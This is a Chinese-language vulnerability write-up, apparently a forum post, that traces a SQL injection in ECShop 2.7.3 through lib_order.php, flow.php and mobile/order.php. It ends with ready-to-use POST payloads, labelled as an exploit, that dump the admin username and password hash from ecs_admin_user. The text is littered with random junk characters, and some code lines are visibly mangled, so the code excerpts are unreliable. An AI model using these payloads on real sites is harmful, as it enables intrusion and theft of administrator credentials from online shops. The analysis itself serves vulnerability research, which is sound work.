前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
7 ]0 A9 D* Q% W1 }( G$ k8 N- I
7 v/ m B8 C( ^5 z; f 漏洞关键文件:& ^' `9 F. t( k% S4 `0 p
, Z/ S" z6 ^+ b0 X; W* t% Y- B
/includes/lib_order.php& x/ z2 B$ a: O. N; {% J& X) w
6 [1 V" f( o0 F8 {2 Z+ y 关键函数:
. o3 y9 @) B( X! N; r/ W( ~8 H0 p z0 e7 @" i- ^1 @! ^
/ z- f% B- D1 D% m* x. ?
5 l8 ^1 y: a u6 d" v5 t9 A01 function available_shipping_list($region_id_list)
1 i8 e8 t2 o; u) h0 i( h
1 P. Z* P2 ]3 H) i. A, n7 G02 {
. C9 o5 s; d! a& r3 s
2 ?5 T: E3 b7 q$ z( i& C03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . , E- j. b! x, H
4 [. Z& n7 F. {0 f6 B4 z04 's.shipping_desc, s.insure, s.support_cod, a.configure ' . 0 [) k1 \ D$ e/ E" J
8 y/ O5 s1 _5 ^# i2 _' f
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . _. s! g, \& ?1 g
* |! Q9 P8 z5 B% {+ C8 d0 j% A3 c. j06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . 3 a( _) P* V) a9 a- E- ?
- m9 n' ]* m4 e4 c; z/ x
07 $GLOBALS['ecs']->table('area_region') . ' AS r '. & U8 y" q* x; m/ o; W
! x- }3 [ M1 z3 P
08 'WHERE r.region_id ' . db_create_in($region_id_list) .
. L/ a/ L8 Y' _) ]* G& K2 o; s
, {6 {2 q# ~5 {& e6 v4 v3 |6 m1 L09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; * U4 a" {) }2 y9 T+ U
3 W) n6 U+ V `+ ~
10 ! E8 P4 g+ I5 X" d" z
+ B7 W" A2 d) z
11 return $GLOBALS['db']->getAll($sql); + m$ b$ q9 E6 N {
5 b' S5 ]; i& u5 I) m. ^( c' d1 f4 ?12 } * [8 t2 t4 U: e9 i1 L$ p% D
, V5 a3 k, J+ N7 J& P5 }
显然对传入的参数没有任何过滤就带入了查询语句。! u* s% y8 o! }& j" v# |. D Y
* ~' p$ D3 z) J* ` p7 L H+ g下面我们追踪这个函数在flow.php中:
" j8 E1 {9 j* ?, r& [* k0 I; R 第531行:
. G& `& j, b+ g3 ^9 J9 t
8 G5 m4 k7 Z9 m% P: m9 z2 C1 }: W- X" @! J1 $shipping_list = available_shipping_list($region);
8 Z2 \' D: O' S2 b& u
* x1 z4 h6 A3 F% b* e# f- ~
9 b5 Y5 g7 X; `6 _
( C% P2 t3 x1 A6 S , I/ n+ y& B y2 E2 X+ z
. a! N& ~, O9 i! B
再对传入变量进行追踪:
* q; J- }/ ^8 `- R" p
$ w, D; x' W( \, Y- h+ i第530行:
+ |# M2 a: f9 ^) I7 v( i& R% b* t" V0 l: ^9 y' }8 g+ a7 E
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); 0 w* f% J# y, C$ l) Q* A# t
E$ Y4 T( ?! p3 P3 h0 Y
" H) d9 o( b: Q2 U
4 X" c6 M/ A2 P t8 F# D
! ^2 O6 F1 x4 X7 W- @
- G: N- |/ M) j- [3 n" | E* w第473行:
" }8 w, d' N" x2 q7 G
1 N, I3 q' L9 b4 o, ]5 N1 $consignee = get_consignee($_SESSION['user_id']); . K, u$ J) p; `0 N5 F9 j! s2 q
# b# |: V- @1 _/ c2 V6 }9 V* Y到了一个关键函数:
2 L. J4 q& ?( {2 ^3 ^0 j ~
* E9 F1 z1 P" Y/includes/lib_order.php! C; ?4 G+ y& q4 F
+ c0 U+ V U F8 X3 D* `* y
. o( m5 W$ u+ B/ V% G4 J% b6 ?
0 g2 ]3 q" A9 I1 s2 N" C/ o, ^ : b( I% w3 M6 v; E* E
: F- M+ D8 s8 K5 \! x01 function get_consignee($user_id) 4 S# _7 T u L: H! E
/ Z5 o5 Q. g5 S$ u& P02 { 9 b# T3 y6 Q U" ^0 H! e0 `- d
& |% |; X+ l( @: H! R: o
03 if (isset($_SESSION['flow_consignee'])) 5 Y% `5 \7 e# s# d8 Y' K% e
1 `3 R+ C8 z8 z
04 {
" Y4 c2 f5 e5 K: G) I$ v6 m0 A2 B% [& o5 q
05 /* 如果存在session,则直接返回session中的收货人信息 */ # A; v2 t, |$ k) F
/ g/ ~/ r! l9 R6 \# G6 U1 j06
! Y5 W' Q1 \# g" f% P: t4 s1 i) B% T4 `- v' X$ W+ T, y
07 return $_SESSION['flow_consignee'];
2 @; J7 h7 h+ Q5 z/ r R2 ]7 i- }3 ~
08 } # w% p9 c3 \' ]. B# b6 T
7 O% ~- }- B f" Q. I
09 else : p+ D% ^% m/ c* T3 P% \
# B w% }( F1 y2 s0 J
10 {
! z+ f! o! ?2 N0 r4 b7 _
/ X' C/ c: a1 D11 /* 如果不存在,则取得用户的默认收货人信息 */
9 W1 i/ j9 V; M9 |, m" e. P6 G3 q
12 $arr = array();
# s9 @6 L8 L+ W( x' V8 q- Y5 O1 K7 {, V, Q+ a. A
13
$ a8 }5 G: k, }
/ S+ F3 U0 H- z* q14 if ($user_id > 0) n5 y9 W. I9 Z, g! K
; a) w5 J4 c \1 Z15 {
; m* ~ W8 v# F3 A3 I8 \3 ]" P
4 R1 f1 n* R( F6 D2 K0 J16 /* 取默认地址 */ 8 K5 q2 L! e+ l& [8 {7 |
) x; \8 m0 |8 |* D. ~1 I
17 $sql = "SELECT ua.*".
1 H1 T6 z/ N2 D5 ]$ t$ H, e4 \9 }# d# w T1 h
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
) b& L/ l7 N4 P6 ~" i( [7 A) n$ e0 I, d5 \) r0 B' `3 H' J" a; X: s9 [. x
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
+ V7 A% D; Z( Y& c `
2 u' b4 c/ V. R. E1 @20
9 f5 ^- C4 ?' L$ @# l5 Y
0 z3 ]5 t8 }) L2 C; C0 P; Q$ P3 V21 $arr = $GLOBALS['db']->getRow($sql); ) p( M( L, B3 ?% M5 s' f
, J8 n0 A" C" Z! X( v. x5 q22 } 2 W5 h5 N' G* d! n) p1 @" d
$ T4 P' [& H0 Q4 q+ M1 L6 _% Z23 & d! D& l4 d2 M* J" R/ k0 Y; x
0 @' s5 y9 z9 @6 k/ T6 @24 return $arr;
% y- c. f1 ?; f2 |" W. D
& a' S( e" \3 \9 K25 } ! b) | ~, s+ G) F
* ~ |. q: ~# N) n26 } 3 y% z2 u' }* H$ ~( X7 r8 Y3 @7 L& X
- j8 [% l. d+ _- ?+ D
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?& I! [4 B0 y5 m
4 x- Z8 {6 J3 @
4 t# t% t K( k4 }4 y
}, n t( F1 @! I关键点:" l! U3 X5 f7 X( ]
6 p2 B6 h) `' s& v; E! x/ K第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);3 Q4 T1 I: x& v7 V8 Y1 M
5 g, Y! b* f' z这里对传入参数反转义存入$_SESSION中。; B4 v' T% c4 Q5 X( a
! H2 ^1 X, k" c0 Q
1 l5 k0 |8 Q# ^
6 I& \7 }# q1 D, @, c C然后看下:9 x0 F- T, S6 i9 N' ~
5 x! e" G K1 O( \* _3 M1 S " J$ Z& n( X/ o7 ~4 m9 S; ^
" G, I, y% }# d2 y % I) i* J/ q' G
4 ?5 q( d! }' H6 D) V6 ~& d) W j
01 $consignee = array( 3 q1 U$ _' C: Q. R' z! C
6 X- u. W1 O9 z/ `/ X02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), $ U9 m- Y6 g/ C- K3 M* t
! i6 D% R5 |" n
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
% f( P5 s1 V2 l% i0 d& _8 c, W% g' C" u
04 'country' => empty($_POST['country']) ? '' _POST['country'], + @$ [0 r' h1 ]: n0 }3 ^
6 Z0 o; O1 F% K
05 'province' => empty($_POST['province']) ? '' _POST['province'],
, P5 S! m; t- {$ P6 Y' C W* J
# y! m f2 g5 [/ [) J$ y06 'city' => empty($_POST['city']) ? '' _POST['city'], : |+ F3 d4 T4 D4 R1 z
! N/ l/ Z$ G* D6 v3 G) M/ z( T07 'district' => empty($_POST['district']) ? '' _POST['district'],
# ` ^1 n) U+ q) }! p4 \* t5 H A) G0 z- G3 o
08 'email' => empty($_POST['email']) ? '' _POST['email'],
& B2 ~9 s5 S1 h. i/ j# j
+ w4 s6 v& x9 n09 'address' => empty($_POST['address']) ? '' _POST['address'], / _0 Y% |: S0 N3 ~. O; T9 H( R
/ @: B- K: x" {4 w
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
# Y% e! M! N1 Y N% w' Z) |1 j ]9 w) }
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
8 F4 k2 E9 L1 s5 V
! \* U F5 n/ Y( F& P) Y0 y Z4 w12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), 3 f! N' l9 P! k/ K
m$ y* Z4 y+ |" u
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], - A; s% S- L6 w* w9 E
1 I. j3 V$ f5 U Z14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'],
* v; |$ d& `# s* N, o1 ]5 w
' t! |0 `( R! \15 ); 0 u- u j6 s+ q; e- V" |8 [- p$ I' a5 m
& y( N) { m* m( f
好了注入就这样出现了。6 H) [' _: t6 U
: L w+ K1 q. |( v2 ^
==================$ H6 }8 m4 v, k, C6 Y7 C4 j
" ]% N$ W3 y9 _) ] J$ @5 y注入测试:
7 S7 B% l7 |3 C# } x0 L1 t$ o2 e/ T4 g+ t+ C* J$ O1 m( U4 k
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
5 R J' b+ G5 {) j; q9 H, g9 G* T% p5 k- f* Y3 F. r/ O
测试程序:ECShop_V2.7.3_UTF8_release1106
" M1 I6 a/ e! g4 z& I p" p+ j- [3 Z, W8 I/ P
8 x5 U& Z7 _1 }
) u! r( v+ B3 x: |) h9 n, X# B1.首先需要点击一个商品加入购物车
0 _2 b8 d1 r) ^( l& P9 M. O6 a2 h* G6 J2 g% J: B8 S" N9 R
2.注册一个会员帐号
" z; D+ q$ b* O& ^
& a; e1 a* |4 _! I' n3.post提交数据
' b/ T6 u" X% ?4 q6 y0 ?0 _9 g0 |$ t: Z7 ]4 l8 |# X0 U
) u. U$ ^4 h9 N) i8 }- Q! h' x
$ e5 B5 ]! ?1 }/ W. C1 http://127.0.0.1/ecshop/flow.php $ M& M! K' r- C- g Q1 O {% r, J
1 _+ b/ @1 h, F# ]% u6 y
2
3 S# X+ u3 z' }4 j
, v5 w9 n" \4 T: E( |3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
2 t/ H S1 L9 Y举一反三,我们根据这个漏洞我们可以继续深入挖掘:
: L @; l+ I/ F. T$ r# H" C! |, a6 S9 E% ]# |: ]& H# r
我们搜寻关键函数function available_shipping_list()2 ^7 t/ U, h. C8 Y
. `7 |% J' f: y- T f. x在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
/ }+ z! P S+ [6 K, O+ L, X& @
0 m; k: a; w, B+ U# C5 [利用exp:
+ S* V2 f! r1 l/ G
& O/ c m3 G- Z7 i' y& X1.点击一个商品,点击购买商标, C5 q' M! P9 O7 E% q- y5 m( m! a
; k. U# E0 p! J! L' N2.登录会员帐号- ]% h( C# U. i" Y. j
4 N* U5 F$ n- h" J+ y3.post提交:' U4 ?: H3 k* i; D
% L! D$ y7 R7 l$ `) f% `, i" [( E
http://127.0.0.1/ecshop/mobile/order.php
9 M# F" N' [2 l% K! Y+ S3 w+ z4 R4 N7 K6 a% \: { y
5 b! E: R" ~# b5 k
; b& `4 N" ~& Z- U% B# G3 T; ccountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=9 z( B2 L8 f1 y$ e: J& x
# e( \; D# e# O
|